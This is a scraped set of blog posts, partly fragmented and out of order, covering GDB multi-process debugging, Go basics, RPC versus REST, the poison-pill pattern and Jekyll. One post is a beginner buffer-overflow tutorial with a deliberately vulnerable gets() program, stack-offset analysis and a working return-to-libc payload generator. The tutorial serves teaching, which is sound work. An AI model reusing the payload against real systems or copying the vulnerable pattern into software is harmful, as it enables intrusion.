0); (gdb) n This means the first program finishes successfully, but the second one suspends and never returns! In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process. First, let GDB stops when a fork system call is called (gdb) catch fork Catchpoint 1 (fork) Next, go to the fork statement at line 84. (gdb) r Starting program: second /bin/ls /usr/bin/sort Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 130 ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory. (gdb) c Continuing. [New process 6134] Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 130 in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c (gdb) finish Run till exit from #0 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 [New process 6147] 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) Value returned is $1 = 6147 Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in. GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run (gdb) info inferiors Num Description Executable 3 process 6147 second 2 process 6134 second * 1 process 6127 second Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default. Let’s switch to first program (inferior 2) and let it finish. (gdb) inferior 2 ... (gdb) c Continuing. process 6134 is executing new program: /bin/ls Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done. [Inferior 2 (process 6134) exited normally] Now only two inferiors are left. (gdb) info inferiors Num Description Executable 3 process 6147 second * 2 <null> /bin/ls 1 process 6127 second The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks. (gdb) inferior 3 ... (gdb) finish Run till exit from #0 __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) Value returned is $2 = 0 (gdb) n 88 if (-1 == close(pipefd[1])) { (gdb) n 94 if (-1 == dup2(pipefd[0], STDIN_FILENO)) { (gdb) n 98 run(program2); (gdb) n The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check. ^Z Program received signal SIGTSTP, Stopped (user). 0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 in ../sysdeps/unix/syscall-template.S (gdb) shell ls -l /proc/6147/fd total 0 lr-x------ 1 parallels parallels 64 Feb 3 16:37 0 -> pipe:[91298] lrwx------ 1 parallels parallels 64 Feb 3 16:37 1 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:37 2 -> /dev/pts/25 lr-x------ 1 parallels parallels 64 Feb 3 16:37 3 -> pipe:[91298] Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug! Just to make sure our guess is correct, let’s examine open file descriptors in parent process. (gdb) inferior 1 [Switching to inferior 1 [process 6127] (second)] [Switching to thread 1 (process 6127)] #0 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) (gdb) c Continuing. ^Z Program received signal SIGTSTP, Stopped (user). 0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31 31 ../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory. (gdb) shell ls -l /proc/6127/fd total 0 lrwx------ 1 parallels parallels 64 Feb 3 16:29 0 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:29 1 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:29 2 -> /dev/pts/25 lr-x------ 1 parallels parallels 64 Feb 3 16:29 3 -> pipe:[91298] l-wx------ 1 parallels parallels 64 Feb 3 16:29 4 -> pipe:[91298] And we know the pipe is indeed not closed in parent process. This leads us to third version. The third version In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate. The third version is here. Now let’s test the program again. gcc -o third third.c ./third /bin/ls /usr/bin/sort And here is the result on my machine, README.md first.c second.c third third.c Run two programs succeeded! which is the same as the result of terminal. Conclusion In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment. We learnt C and Unix skills pipe fork waitpid dup GDB skills catch inferior

  • Concurrency vs. Parallelism

    Quoted from Go Concurrency Patterns. What is Concurrency Programming as the composition of independently executing processes. What is Parallelism Programming as the simultaneous execution of (possibly related) computations. Concurrency vs. Parallelism Concurrency is about dealing with lots of things at once. Parallelism is about doing lots of things at once. One is about structure, one is about execution. Concurrency provides a way to structure a solution to solve a problem that may (but not necessarily) be parallelizable.

  • Exception handling: panic/exception v.s. return error

    There are two common ways to handle errors: throw exception e.g. panic in Golang return error code return 0 or -1 in Unix system calls Here is one point of view to decide which method to go with. The rule is simple: if your function is in any way likely to fail, it should return an error code. When I’m calling some other package, if it is well written I don’t have to worry about panics, except for, well, truly exceptional conditions, things I shouldn’t be expected to handle. To know more. Here is a short discussion by Ross Cox, where he suggested these two articles: Cleaner, more elegant, and wrong Cleaner, more elegant, and harder to recognize

  • A cheatsheet on basic of Go language

    Quoted from: Getting Started A Tour of Go How to Write Go Code Cheatsheet 0.Entry point Go program starts from package main. 1.Export Capitalized function is exported. Non-capitalized function isn’t exported. 2.Variable type is at end of declaration. var a int = 3 a int := 3 3.Basic types. bool, string int int8 int16 int32 int64 uint uint8 uint16 uint32 uint64 uintptr byte // alias for uint8 rune // alias for int32, represents a Unicode code point float32 float64 complex64 complex128 4.Output type of a variable. printf("%T", variable) 5.Type conversion/casting. new_type(variable) 6.const const name = value 7.Group of definition or import. var/const ( x = 1 y = 2 ) import ( "package 1" "package 2" ) 8.Function with multiple return value. func name(x int, y int) (int, int) { return 1, 2 } 9.Switch 1 Switch use fallthrough as key word to let two consecutive cases run sequentially. In Go, we don’t use break key word to terminate switch cases, they stop automatically. 10.Switch 2 Value of switch case could be any type, even function value is okay. Using switch without a condition is okay, then the switch case takes some boolean value, this is useful for concise if-else combination. 11.Defer The deferred call’s arguments are evaluated immediately, but the function call is not executed until the surrounding function returns. When there are multiple defer functions, they are stacked in a FILO pattern. 12.Pointer Pointer is like c-style, but do not support pointer arithmetic. 13.Struct type Name struct { x int y int } name := Name{x:1, y:2} name.x p = &name p.x is okay! 14.Array var name [10]int name := [3]int{1,2,3} name := […]int{1,2,3} //same effect as previous statement len(name) cap(name) //capacity 15.Slice Slice is similar to array, but more flexible! Array is fixed sized, while size of slice could be modified. It is built on top of array, which is very similar to list in Java. Internal of slice is a pointer to a position in an array, the length, the capacity. Slice could be create by make name := make([]int, length) name := make([]int, length, capacity) name := make([]int, 0, 5) //an array with capacity 5 and length 0, initialized all value 0 or by slicing an array or slice name[1:3] //have value at position 1,2. name could be an array or slice name[1:] When creating slice by slicing, the data is not copied! just modify the pointer And notice, when slicing, the length is determined by slice range, but the capacity is determined by maximum range which is from slice range begin to end of underlying array. Notice, this may cause problem because we may only need part of the array, but we are keeping the whole array in memory. So sometimes it would be better to copy that part, or other method such as append part of array to a nil array, to let garbage collector reclaim those memory. https://blog.golang.org/go-slices-usage-and-internals 16.Slice is initialized as nil var name []int name == nil //true len(name) //0 cap(name) //0 17.Slice copy/append Slice could be copied between different lengthy, or even underlying overlapped slices. copy(destination, source) this will copy elements of smaller number in source and destination. var name = []int{1,2,3} append(name, 1, 2, 3) var name2= []int{4,5,6} append(name, name2…) //could append another slice. notice the … would unwrap the second slice 18.Array/slice range A convenient way to iterate element in array and slice. for index, value := range arrayName { //notice value is a copy of the element } Could skip the value, then for index := range arrayName {} Or could skip index, then for _, v := range array {} 19.Map Map must be created using make. var name = make(map[key_type] value_type) var map = make(map[string] int) Or could be initialized like JSON. var map = make(map[string] int) { "key1":10, "key2":20, //notice the commas is necessary! } Map operation is usual. map[key] = value value, ok = map[key] //ok is true if key exist delete(map, key) for key, value := map { //iterate map } 20.Function as first class Could pass function as a parameter. func name(fn func(x, y int) int) int {} Notice all function argument is value copy. Not reference. Also, function has closure. 21.Class Go doesn’t have built-in class. But we could use function to help variable to act like a class. We should assign a receiver type to a function, then any variable of this receiver type could call this function. So it looks like the receiver type is a class, variable is an object, and the function is a member function. var (f MyFloat) Abs() float64 {}//MyFloat is receiver type var Abs(f MyFloat) float64{} //function-wise same But receiver could only be type defined in the same package. So could not set receiver as built-in type, including int, float etc. Receiver could be pointer. This does not require the variable calling this function to be a pointer. It means the value of receiver is not copied to the function, instead a reference is given so that the function could modify the value of receiver. Though use a pointer as receiver variable to call function is recommended! var (f *MyFloat) Abs() {} //now Abs could directly modify f in its body All methods on a given type should have either value or pointer receivers, but not a mixture of both. (This is a design matter) 22.Interface type name interface { functionName(argument) return_type } name x could be any type that support the function. Empty interface acts like void* in C language. var i interface{} //empty interface, i is nil after created i = “aa" i = 43 //both are correct Because the interface could be assigned to any concrete variable, sometimes we want to know what’s underlying concrete type. var i interface{} = "hello" s := i.string //s will be “hello" f := i.float64 //run time error f, ok := i.float64 //no error, ok would be false 23.Switch 3 Switch could be used to switch types. switch v:= i.(type) { case T: case S: default: } 24.Stringer interface A built-in interface, similar to toString() in Java. type Stringer interface { String() string } 25.Error Every built-in function return an error as last parameter. return_value, err = function_name() if err == nil {} else {} 26.IO Reader Reader is an input stream. import { "io" "strings" } r := strings.NewReader("Hello, Reader!") b := make([]byte, 8) n, err := r.Read(b) if err == io.EOF { break } 27. Routine Routine is like thread in other languages. You run a function in another thread. go fun_name(parameters) This starts a new goroutine/ light-weight thread. The parameters are evaluated when executing this line, i.e. current goroutine, but execution of the function is happen in the new goroutine, i.e. in the future. These go routines run in same address space, so that access to shared memory need synchronized. 28.Rendezvous channel Rendezvous means synchronized. A rendezvous channel is a channel without defining size, so that the sender and receiver would be synchronized all the time. var channel = make(chan int) channel <- v //offer v into channel, block until v is taken from receiver v := <- channel //take v from channel, block until sender offer a value into channel 29.Buffered channel Buffered channel is channel with a defined capacity. So the sender and receiver could act like producer consumer model, where the channel acts like a queue with fixed size. var channel = make(chan int, capacity) channel <- v //sender be blocked when channel full v := <- channel //receiver blocked when channel empty cap(channel) //capacity 30.Channel close and check Sender could and only sender should close channel close(channel) Receiver could check whether channel is closed by v, ok := <- channel A channel could be iterated using range. for i:= range(channel) { //i is element in channel } when channel is closed, this iteration will stop. 31.Select Select a random executable statement to run. Notice each case statement should interact with a channel. select { case c <- x://executable when channel is not full case <- c: //executable when channel is not empty default ://executable when channel is neither full nor empty } 32.sync.Mutex Go provide built-in mutex acting as lock. Though it suggests design pattern to do concurrency without locks. mux sync.Mutex mux.Lock() //do something mux.Unlock() 33.Share memory by communicating Don’t communicate by sharing memory; share memory by communicating. Go blog: shareemem codewalk A naive interpretation: Do not use lock and shared memory, as a method to communicate among threads. Instead, use channel as communication tool, and share data among threads without lock. 34.Go syntax A good post talking about why’s the similarity and difference between Go syntax and C syntax. Go blog: Go’s declaration syntax 35.Defer, panic, recover A defer statement pushes a function call onto a list. The list of saved calls is executed after the surrounding function returns. Defer is commonly used to simplify functions that perform various clean-up actions. A deferred function’s arguments are evaluated when the defer statement is evaluated. Deferred function calls are executed in Last In First Out order after the surrounding function returns. Deferred functions may read and assign to the returning function’s named return values. This is convenient for modifying the error return value of a function Panic is a built-in function that stops the ordinary flow of control and begins panicking. When the function F calls panic, execution of F stops, any deferred functions in F are executed normally, and then F returns to its caller. To the caller, F then behaves like a call to panic. The process continues up the stack until all functions in the current goroutine have returned, at which point the program crashes. Panics can be initiated by invoking panic directly. They can also be caused by runtime errors, such as out-of-bounds array accesses. Recover is a built-in function that regains control of a panicking goroutine. Recover is only useful inside deferred functions. During normal execution, a call to recover will return nil and have no other effect. If the current goroutine is panicking, a call to recover will capture the value given to panic and resume normal execution. Go blog: defer panic and recover 36.Test Go provides a built-in test platform. The convention is: Within the package, have a go file named XXX__test.go Within this go file, have functions named TestXXX.go The test function should have format as func TestXXX(t *testing.T) {} Import package "testing" Use test functions to indicate error. This including t.Error t.Errorf t.Fail

  • Talking within Distributed System

    What’s different between communication in distributed system and local machine. Two most popular way to communicate within a distributed system, i.e. message passing and RPC, and analyzed the advantages and disadvantages of them. Two most successful protocol using these two communication idea, i.e. RESTful and Thrift. Why talking within distributed system is different from local machine? In a local machine, when process A is communicating with process B, it could be done in a synchronized fashion guaranteed by electrical circuit or the so-called bus built in your laptop or server. So the delivery time is always constant, corresponding to several clock cycles. The fundamental difference of distributed system and local machine is due to network unreliability. When machine A is sending message to or call function at machine B, there is not such bus connecting them so that they could only communicate through network. So either machine A get an acknowledgement message and it could be sure that machine B receive the message, or it has to wait indefinitely since it could never tell whether the message is lost or it is network congestion. So it is the case that I know what I know, but I don’t know what others know, and I don’t know what others know others know… An example Through the next of this post, we will examine a simple common example distcp. So the semantic of distcp is the same as cp (copy) method, it copies data from one location to another. More specifically, when machine A runs distcp path1/file path2, it copy file from path1 to path2. Message Passing So message passing is actually the most straightforward and also most widely used way to implement distributed system communication (think about Internet!). Message Passing defines two basic method, send() and receive(). It sends the whole information including operator (in our case it is distcp) and operands (in our case it is file and path) through network. And when receiver receives the message, it lookups the operator and finds corresponding local method and then finishes the job. Advantages It is straightforward/user-friendly. Disadvantages However, despite the good point of message passing, this method leaves a lot of burden to application programmer. A common message passing is very like this: On sender’s side: MessageFactor.createMessage("distcp").setArgument(0, "path1/file").setArgument(1, "path2").send(ip of machine B) On receiver’s side: operator = receive().getOperator(); switch(operator) { case "distcp": copy to path; break; } There are two obvious problem. 1.Programmer needs to do lots of work to control the logic, especially on receiver’s side. 2.The program could not make use of compile check to make sure the sending message is correct. This significantly increase the possibility of runtime error. Remote Procedure Call (RPC) So to reduce the burden of programmers and make our program more predictable, RPC is a good idea. The core idea of RPC is to provide an interface for both local and remote procedure call, so that programmer could call remote function just like call local function. So the RPC way of our function is very like to be this: register_path("path1", ip of machine A); register_path("path2", ip of machine B); dist("path1/file", "path2"); And it is done! How to find the file and how to bind the data is left to RPC service. After binding the path and machine, the programmer doesn’t need to worry about the whole logic. Moreover, now we could at compile time check whether the programmer provides exactly two arguments , reducing runtime error. Also, it a lot of distributed system, e.g. Hadoop platform, there’s a master machine to take care of path binding, so the two register_path method could be avoided as well! Note To understand how the RPC service is implemented, I encourage you to further read some posts online or this paper Implementing remote procedure calls by Andrew and Bruce. Advantages 1.RPC provide the abstraction of procedure call so that programmers could use these services easily just as using local methods. 2.It also helps reducing runtime errors. Disadvantages Now RPC may seems really attracting, it has one important disadvantages compared to message passing – the service itself is much complicated. Yes, the user/programmer is relieved from handling logic and data binding themselves, but the API provider/RPC service provider need to do a lot of work, including defining interface, implementing logic etc. The complication is significant when testing some new functions, since the API may change frequently during development. Real World Implementation Now we scratched the surface of both two common communication ways, how and when do we prefer one to the other? Let’s see two most widely used communication protocol in web service today. RESTful I’m not going to talk about what is RESTful. I assume you have already know what it is and hopefully you have used it several times in your previous projects. RESTful is a good example using the idea of message passing. For send() method, it supports four operators, i.e. GET, PUT, POST and DELETE, and nearly unlimited number of operands (within bound of network limit of course). And receive() method is handled by HTTP request. Advantages 1.Lightweight. Since RESTful API is often used for implementing CRUD operations in database, so the message is generally short. 2.User-friendly. RESTful has same semantics with HTTP request, thus learning curve of RESTful is almost zero degree! 3.Language/Platform independence. Since RESTful is nothing but HTTP request, it has no constraints on language or system platform. Disadvantages The disadvantage of RESTful stems from HTTP protocol itself. One thing is RESTful does not support basic method other than HTTP’s methods. Although one could put operator inside body of HTTP request, but that would lose the lightweight property of RESTful. Another disadvantage is HTTP request is expensive. Each HTTP request is generally a blocking process, harming the scalability of system. (This is said be overcome in HTTP 2.0, I’m not quite familiar with HTTP 2.0, but this disadvantage holds for HTTP 1.1). Thrift My understanding of Thrift may not be correct and well-rounded, since I haven’t use Thrift a lot. But generally, Thrift is a protocol based on RPC so that to simplify remote call process and with goal of a fast, reliable and safe communication. To use Thrift, you need first define the RPC interface using Interface Definition Language (IDL). This interface is a constraint that both server and clients using the method should follow. After you defined the interface, it is Thrift that will take care of the underlying communication and compile time checking. Advantages 1.Provide compile time checking. Thrift is much stricter than RESTful, but the goodness is it could help avoid lots of small errors. 2.It is faaaaast. RPC generally take advantages of UDP protocol and binding acknowledgement message with next request to avoid overhead and amount of exchanging data. Disadvantages It is obvious that Thrift is way complicated than RESTful API. It also doesn’t have a universal method name (e.g. GET in RESTful). Therefore developers need to first learn the interface of different Thrift library then could they move on. Discussion So how to choose among them? Like most design in computer science, there is no absolute yes or no to choose one protocol rather than the other. It has been a consensus that, generally, when developing light-weight api, especially those similar with CRUD operations, and when your api is used by lots of users, then RESTful may be better choice. While developing api that is internally used, or logically complicated, or fast is your first priority, then Thrift may be better. In comparison these protocol, here is a great article by Kristopher Sandoval. I quote part of the article here, but you should definitely read through that great post. REST, on the other hand, is like a pre-paid postcard. You’ve forgone the envelope in favor of a lightweight, succinct delivery device that is easy to interpret and handle, with your message quickly scribbled on the back. The postcard uses less material (bandwidth), is typically shorter in content, and might actually get to your neighbor faster because there’s less bulk to move around. Thrift is like a megaphone. When you point the megaphone at your neighbor, he implicitly knows you’re upset about something — and that you’re going to say it specifically to him. He knows what to do with the information, because the reaction a human has to a megaphone is pretty universal (assuming, of course, that your megaphone is louder than his drums). The message is sent in a lightweight but forceful manner that depends entirely on the receiver to properly process it, in this case your neighbor.

  • Secure Threats -- Buffer Overflow Attack -- Level 0

    Our software system is far from robust and safe. This post talks about a basic attack, namely Buffer Overflow, that could shoot down a software system which seems robust at first glance. Pre-requisite The first pre-requisite is quite easy to catch up, but the second and third ones are fundamental pre knowledge. Familiar with C language. (This series would use C program as example.) And know how to use a gdb to debug C program. Familiar with basic assembly language and be able to read assembly language. (No need to good at writing them!) Know what’s a heap, stack, shared library and basically how program is mapped into memory. Or if you could understand what this figure is talking about. (Computer System : A Programmer’s Perspective 2nd) Buffer Overflow Attack Great, now you are ready to hack a system, and I’m showing you a way. What is Buffer Overflow Buffer Overflow is an attack/hacking solution that takes advantage of such a vulnerability: when a victim host is trying to receive a message from an attacker, it doesn’t check the length of in-coming message, so the message could be arbitrary long and, as a result, overwrite some part of victim host’s stack memory and make the hack. An Example (Your first hacking attack!) To make this clearer, let’s see a typical example. /* basic.c */ #include <stdlib.h> #include <stdio.h> #include <string.h> /* server code, I'm victim */ int main(int argc, char** argv) { char buf[16] ; printf("Hi, I'm server.\n"); gets(buf); printf("you entered: %s\n", buf); return 0; } This piece of code seems okay at first glance, but the reason it suffers from a buffer overflow attack is the use of this gets function. Basically gets copy string from standard input to buf. To understand why this is a problem, we need to look inside the program to know what is happening underneath. Yeah, I mean to read some assembly code. By running following script, gcc -o basic basic.c -m32 objdump -d basic we could get assembly code of basic. (Note we add a -m32 here to compile it to a 32-bit version) 08048480 <main>: ...... 8048495: 8d 44 24 10 lea 0x10(%esp),%eax # some padding 8048499: 89 04 24 mov %eax,(%esp) # put this address as argument for gets function 804849c: e8 9f fe ff ff call 8048340 <gets@plt> ...... I’m not going to talk about what exactly these assembly do. They are pretty straightforward if you have some experience with assembly language and also notice I add some comments to help you catch the idea. Now is key point. Then what gets function does is it go through standard input and copy byte by byte to buf until it met a null terminator. However, the gets function doesn’t check input length! So what if we input a very long sentence? -bash-4.2$ echo "a verrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrry long sentence" | ./basic Hi, I'm server. you entered: a verrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrry long sentence Segmentation fault (core dumped) The problem is the input is too long so that it override some part of original stack. This could be a disaster since stack is used to keep important variable value. And this is why this kind of attack is called Buffer Overflow Attack. To do a real attack To do a real attack, i.e. let the program do something you intend it to do, rather than just crash, we need more work and more analysis. Analysis By using gdb (gdb) b *0x804849c Breakpoint 1 at 0x804849c (gdb) r Starting program: basic Hi, I'm server. Breakpoint 1, 0x0804849c in main () (gdb) i r esp esp 0xffffd210 0xffffd210 (gdb) x/wx 0xffffd210 0xffffd210: 0xffffd220 we could find right before gets is called, esp is pointing to 0xffffd220, which means our input message will be written to this address. Also, if we set breakpoint at beginning of main function, (gdb) b *0x0x8048480 Breakpoint 2 at 0x8048480 (gdb) r Starting program: basic Breakpoint 2, 0x08048480 in main () (gdb) i r esp esp 0xffffd23c 0xffffd23c we could find return address for main function is saved at 0xffffd23c. Did you find the secret? The offset between the return address and the address we are going to write is only 0xffffd23c - 0xffffd220 = 0x1C = 28. This means if our input message is 28 characters or more, then we could overwrite the return address of main function! And let’s remind what return instruction does. It puts the value pointed by esp to eip, increment esp by 4 bytes, and execute the code pointed by eip. So this means if we change the value of return address, we could let program go to some surprised place and execute some surprised code! Moreover, if we construct our input message using executable code and let the return address go to our code, then we could let program do whatever we want! And this closes our analysis! Bravo! Sum up Let’s put the pieces together. To do a basic buffer overflow attack, we need to… 1.Find the address where your input message is going to write. 2.Find the most recent return address that is larger than the address in point 1. 3.Carefully calculate the offset of these two addresses and design your input message so that they could be executed by CPU to do some surprisingly fun job. Let’s Hack Our ‘Not-so-Robust’ Program The normal execution of basic program is prompt exactly same thing as we input. Now we would like it to print I'm hacked! in a funny way. To print something, we still need the built-in print function in stdlib. Take a look at assembly code again, (gdb) p &printf $2 = (<data variable, no debug info> *) 0xf7e32f60 <printf> To print something, we need to make sure esp is pointing to what we want to print (i.e. I'm hacked! in this case), and then call printf function! The input message should be like this: [several padding to return address] – [address to printf] – [pointer to hacking message] To call the printf function is easy, we just need to overwrite the return address in main function with printf address, which we’ve already figured out as 0xf7e32f60. Then where is the hacking message? Remember the printf function print message out until it find a null terminator. Therefore we could not put the hacking message at front of input message and followed by the padding, since in this way we would print rubbish that we don’t want to. So we have to put them at the end of input message. Thus, the input message should be like this: [several padding to return address] – [address to printf] – [pointer to hacking message] – [hacking message] One last thing, we need some padding at after return to printf, this is because we use printf function not by “call” but by “return”. As we analyzed before, just before call printf, we make sure esp pointing to message we want to print out. But when we use “return” to call a function, it first put esp to eip and then pop esp so that esp will move up by 4 bytes. Also, the value in this padding is the return address after return from printf, i.e. the program will try to execute code at the position of this padding value. So we could put an exit here to let the program stop. (gdb) p &exit $5 = (<text variable, no debug info> *) 0xf7e17b10 <exit> Okay! Let’s hack it! We know… The address we are going to write from is: 0xffffd220 The original return address is at: 0xffffd23c The return address need to overwrite as 0xf7e32f60 The exit address is 0xf7e17b10 And we put hacking message at the end: I'm hacked! So, what we need is: 0xffffd220 : 28 \x90 as padding …… 0xffffd23c : 0xf7e32f60 address to call printf 0xffffd240 : 0xf7e17b10 address to exit, also as padding 0xffffd244 : 0xffffd248 pointer to printing message 0xffffd248 : I'm hacked! Another important thing we need to keep in mind is, our system is generally small-endian. This means instead of 0xf7e32f60 as is human readable, we need to put 0x602fe3f7 in our input message. The same thing holds to 0xffffd248 and 0xf7e17b10. So, based on all these analysis. We get our input message: 28 \x90 0x602fe3f7 0x107be1f7 0x48d2ffff I'm hacked! To generate the text we could have a helper program hack /* basic hack.c */ #include <stdio.h> int main(int argc, char** argv) { int i = 0; //padding for(i = 0; i < 28; i++) { printf("\x90"); } printf("\x60\x2f\xe3\xf7");//address to printf printf("\xa1\x83\x04\x08");//address to exit printf("\x48\xd2\xff\xff");//address to print message printf("I'm Hacked!\n"); return 0; } Then compile it and save to a file hack.txt -bash-4.2$ gcc -o hack hack.c -bash-4.2$ ./hack > hack.txt Finally use gdb to test it! (gdb) r < hack.txt Starting program: basic < hack.txt Hi, I'm server. you entered: ????????????????????????????`/{H?I'm Hacked! I'm Hacked![Inferior 1 (process 41057) exited with code 0111] Note At the end of output, it says program exited with code 0111. This means program doesn’t exit normally. This is because the exit function also use esp as exit code, but in our program esp saves address to message. To overcome this problem, we need to use ROP(Return-Oriented-Programming) technique. See following posts! Last but not least. If you test this attack without gdb, you’ll get -bash-4.2$ ./basic < hack.txt Hi, I'm server. you entered: ????????????????????????????`/{H?I'm Hacked! Segmentation fault (core dumped) This is because the so-called ASLR(Address Space Layout Randomization) defense technique. We’ll talk about how to overcome this defense in following posts. And this ends the very basic Buffer Overflow Attack. Hope you enjoy it!

  • Poison Pill

    How do producer(s) notify consumer(s) to stop? The producer can not simple kill the consumer, since there may be some jobs still in the queue. One solution is use poison pill – a special value to notify consumer(s) the end of service. How it works? The idea is extremely simple. When producer wants to stop the service, it sends a special message (poison pill) into the queue and stops it self, when consumer gets this message, it closes it self as well. What if multiply producers and multiply consumers? If only one producer and consumer, then it’s totally fine. If there are several producers and one consumer, each producer could send a poison pill to consumer and stop itself. When consumer gets same number of poison pills, then it stop running. If there are one producer and several consumers, then producer send poison pills of same number as consumers to queue. Each consumer stops itself when get a poison pill. If there are multiple producers and multiple consumers, then each producer send poison pill of same number as consumers to queue. Each consumer stops itself when get poison pills of same number as producer. What is the problem? This solution suppose producers and consumers know the quantity of each other. Also, if we have N producers and M consumers, then number of poison pills will be N*M, which could be large. Alternative Solution One alternative solution is we relax the constraints so that consumers could also offer messages into queue, but only when it is trying to stop the whole service. On producers’ side, when all producers are going to leave the service, the last producer send a poison pill to the queue. This could be done by several ways, one way is to elect a leader so the leader send the poison pill and then every producer leaves. On consumers’ side, when any of consumers get a poison pill, it first the poison pill back to queue and leave the service. So that all consumers will finally leave the service. This solution is based on that producers know each other, and consumers know each other, but producers and consumers don’t know each other, which makes more sense in real world. Reference “Poison Pill Shutdown” in Java Concurrency in Practice

  • </ul>

    
    We see that instead of using Jekyll's built-in ```post.excerpt``` tag, we use customized filter ```build_preview``` with content of post as input, to create the post preview on home page. The filter ```strip_html``` is used to remove html tags so that the preview could be rendered correctly.
    
    Run Jekyll local server
    
    

    jekyll server ```

    And you should see the change.


    placeholder is where the content ofpost.html``` should fit into.

    The {% include foo.ext %}s are straightforward, they will be replaced by contents of _include/foo.ext.

    Let’s create file _include/head.html with following content:

    <head>
    	<meta charset="utf-8">	
    </head>
    

    This header has many things missing, but it works for our most simple blog.

    Therefore, after replacing everything, the actual HTML file for posts will be

    <!DOCTYPE html>
    <html>
    	<!-- Replace {% include head.html %} start -->
    	<head>
    		<meta charset="utf-8">	
    	</head>
    	<!-- Replace {% include head.html %} end -->
    	
    	<body>
    	
    		<!-- Replace {{ content }} start -->
    		<div>
    			<header>
    				<h1>{{ page.title }}</h1>
    				<p>{{ page.date | date: "%b %-d, %Y" }}</p>
    			</header>
    		
    			<article>
    				{{ content }}
    			</article>
    		</div>
    		<!-- Replace {{ content }} end -->
    		
      	</body>
    </html>
    

    Edit home page

    We will create an extremely simple home page first, which contains a list of your blog posts.

    vim index.html
    

    Put the following content in your home page.

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    {% for post in site.posts %}
      <li>
        <h2>
          <a href="{{ post.url | prepend: site.baseurl }}">{{ post.title }}</a>
        </h2>
      </li>
    {% endfor %}
    </ul>
    

    It’s okay if you don’t understand prepend: site.baseurl. The most important thing is Jekyll will search for all files under directory _post and insert their URLs in hyper links.

    Edit blog content

    Finally, we could create our blog post.

    You could change the name of the blog, but the name must

    • have a format YYYY-mm-dd-blog-name.ext
    • the ext has to be one of .md, .markdown etc.

    Here is an example:

    vim _post/2017-02-10-first-blog.md
    

    Now put the content in your blog post

    ---
    layout: post
    title: first blog
    date: 2017-01-20
    ---
    
    # Title
    
    ## Second-level title
    
    some content
    

    This tells Jekyll use post.html as the layout, which recursively use default.html.

    Remember the Blog with Jekyll for beginners and 2017-02-10 00:00:00 +0000 in post.html? Here is where we define the value of these variables.

    Time for a demo

    Now let’s run a local server to see how our first blog looks like.

    jekyll server
    

    In your browser, use address localhost:4000 to see your blog site.

    Moving on

    Believe me, you have mastered essential skills for creating a great website with Jekyll.

    The best way to step forward is downloading some nice Jekyll template and figure out how it is composed.

    Here is the source code of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy.

    Customize article preview front matter with Jekyll plugin

    Default article preview front matter

    Jekyll comes with default article preview tag – post.excerpt.

    Modify our index.html page:

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    {% for post in site.posts %}
      <li>
        <h2>
          <a href="{{ post.url | prepend: site.baseurl }}">{{ post.title }}</a>
          
          <!-- insert this line -->
          <p>{{ post.excerpt }}</p>
          
        </h2>
      </li>
    {% endfor %}
    </ul>
    

    We added a paragraph section to home page, which is a preview created by Jekyll post.excerpt tag. What it does is cut the first paragraph of the post.

    Customize article preview behavior

    To have a fully customized preview tool, we have to create a Jekyll plugin.

    There are multiple ways to create and use such plugins (more details). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under _plugins directory.

    Let’s see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter truncate. But for the purpose of this article, we’ll instead create our dumb little Jekyll plugin.

    Create a Ruby file under _plugin directory.

    mkdir _plugins
    vim _plugins/example.rb
    

    Put in following contents:

    module Jekyll
      module PreviewFilter
        def build_preview(content)
          return content[0, 10]
        end
      end
    end
    
    Liquid::Template.register_filter(Jekyll::PreviewFilter)
    

    The build_preview function is straightforward. The other code is just tell Jekyll to register this filter in global scope.

    Just as a supplementary, I suggest reading this paragraph.

    Time for a demo

    Now let’s change our index.html

    ---
    layout: default
    ---
    
    <h1>Home page</h1>
    <ul class="post-list">
    {% for post in site.posts %}
      <li>
        <h2>
          <a href="{{ post.url | prepend: site.baseurl }}">{{ post.title }}</a>
          
          <!-- insert this line -->
          <p>{{ post.content | strip_html | build_preview }}</p>
          
        </h2>
      </li>
